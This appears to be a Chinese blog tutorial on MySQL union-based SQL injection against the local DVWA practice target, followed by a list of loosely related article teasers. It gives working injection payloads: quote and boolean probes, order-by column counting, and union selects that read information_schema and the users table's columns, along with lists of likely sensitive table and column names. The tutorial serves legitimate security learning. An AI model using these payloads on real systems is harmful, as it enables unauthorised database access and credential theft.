了解联合查询注入之前,先要了解一下什么是union?

union是用于合并两个sql查询结果的语句。

要使用union

必须有相同的列数 

必须有两条以上的select语句组成 

列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型

联合注入

下面将以dwav靶场示例

1.判断是否存在可疑的注入点(数字型或字符型)。

数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

方法一: 单引号法

'

方法二: 逻辑法

and 1=1

and 1=2

1' and '1'='1

1' and '1'='2

方法三:运算法

-1

-0

2.猜解表名

常见敏感表名

admin

user admin_userinfo

system

vipuser

a_admin

xxx_admin

3.猜字段数

order by

4.猜解字段名

敏感字段名:

username

password

admin_usernmae

admin_password

5.获取数据

id = 1 union select 1,2,3,'''''

联合注入步骤详情:

打开本地dvwa靶场

1.判断是否存在注入(数字型或字符型)

当输入id等于1'时 数据库直接报错,通过回显我们可以看出id=1'被包在单引号里面被数据库转换成了字符串而不会去执行。

所以我们就要构造闭合 让语句可以成功带入数据库进行执行,以达到我们想要的操作。

当输入id = 1' and '1' ='1时,此时代数数据库执行的语句就是这样的

select First name,surname FORM users WHERE user_id='1''  

当输入1' and '1' ='1时,执行的语句就会是这样

select First name,surname FORM users WHERE user_id='1' and '1' ='1'

将姓名都显示出来。说明存在字符型注入。

2.猜解字段数

命令:   order by 数字
功能:当猜测的数字小于或等于实际字段数,回显正确,否则报错

发现输入id=1' order by 3 # 时报错,则猜测字段为两个

3.联合查询

使用 union select database(),user() #       !!!井号不要忘记加

这里查询到数据库为 dvwa 用户为root@loca1host

查询当前 数据库版本(尤为重要)

当mysql 版本小于4.0 的时候 ,是不支持 union seletc联合查询的 

当mysql 版本大于5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库

列举几个常见的查询函数

1. version()- 数据库版本

2.user() -数据库用户

3. database() - 当前所在数据库

4. current_user() - 当前用户名

5. system_user() - 系统用户名

6. session_user() -连接到数据库的用户名

7. @@basedir - 数据库的安装目录

8. @@datadir - 数据库文件存放目录

9. SCHEMATA-  记录当前数据库服务器所有数据库名称

10.TABALES-   记录了当前数据库服务器所有表的信息

4.获取数据表名

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

联合      查询 "information_schema.table" 表中选取 "table_name" 和 "table_schema" 列   条件  table_schema = 'dvwa' #

获得 guestbook表 和 users表

 5.获取表列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

group_concat 一次性

6.获取数据

  

MySQL手注之联合查询注入的更多相关文章

  1. MySQL手注之报错注入

    报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...

  2. 记一次SQL联合查询注入工具的编写

    这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...

  3. 理解mysql执行多表联合查询

    阅读目录 一:inner join(内连接) 二:left join(左连接) 三:right join(右连接) 四:cross join(交叉连接) 五:union操作 六:node+mysql ...

  4. Node.js的mysql执行多表联合查询

    数据库(test)中的表结构(admin.user) //执行多表结合查询 var mysql = require('mysql'); var connection = mysql.createCon ...

  5. MySQL之外键、联合查询、子查询

    外键(foreign key): 外面的键(键不在自己表中),如果一张表中有一个字段(非主键)指向另外一张表的主键,那么将该字段称之为外键. 外键可以在创建表的时候或者创建表之后增加(但是要考虑数据的 ...

  6. SQL注入 手注与联合注入

    SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令:            得到数据库用户名和密码 1:在以,{ .asp?id=32( ...

  7. MYsql系统函数和联合查询

    函数是SQL里的关键字,用于对字段里的数据进行操作.函数是一个命令,通常与字段名称或者是表达式联合使用,处理输入的数据并产生结果 常用函数 控制函数 字符串函数 数学函数 日期时间函数 汇总函数 CA ...

  8. base64变形注入与联合查询注入的爱情故事

    先来写一下GET的知识点: 1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数) 2.Illegal mix of collations for operation ' ...

  9. MySQL手注之盲注(布尔)

    布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length()  返回字符串的长度, 可 ...

随机推荐

  1. 2、Entity Framework Core 3.1入门教程-创建数据库和迁移

    本文章是根据 微软MVP solenovex(杨旭)老师的视频教程编写而来,再加上自己的一些理解. 视频教程地址:https://www.bilibili.com/video/BV1xa4y1v7rR ...

  2. C# DataTable查询示例

    代码 public void Test() { #region 初始化数据 /* 数据 张三 语文 34.00 张三 数学 58.00 张三 英语 61.00 李四 语文 45.00 李四 数学 87 ...

  3. luogu_P3373 solution

    luogu_P3373 solution Problme Description  Now, you have a known series, there are three operations: ...

  4. Istio 的配置分析

    Istio 的配置分析 目录 Istio 的配置分析 Analyzer 的消息格式 ConflictingMeshGatewayVirtualServiceHosts 问题解决 举例 Conflict ...

  5. 5 art-template

    npm 在终端命令下执行装包,就会在该目录下产生一个node_modules包 art-template地址:https://aui.github.io/art-template/zh-cn/docs ...

  6. 兼容H5页面的js

    (function (doc, win) { let docEl = doc.documentElement; let resizeEvt = 'orientationchange' in windo ...

  7. logback1.11的一个bug:有线程持续不断写入log文件,log文件就不会按设定以日期切换。

    此Bug的解决方案请见:https://www.cnblogs.com/xiandedanteng/p/12205422.html logback是log4j的后继者,作者也是同一人,但其中的bug不 ...

  8. MySQL查询point类型类型的坐标,返回经度纬度

    location字段为point类型的空间坐标 SELECT id, name, address, x(location) as 经度, Y(location) as 纬度, ROUND( 6378. ...

  9. 3896. 【NOIP2014模拟10.26】战争游戏

    鉴于如此一道恶心的题,作者还花了一个晚上草草学了tarjan. 于是乎,这道题就是道tarjan 具体怎么实现呢?正解上有个什么树形DP,看的我一脸懵逼. 这道题可以运用到tarjan一个高科技的算法 ...

  10. spring boot环境配置以及开发工具选择(Spring一)

    首先安装java jdk jdk的安装参考:https://blog.csdn.net/zhys0902/article/details/79499329配置效果如下: 接下来是maven的相关配置 ...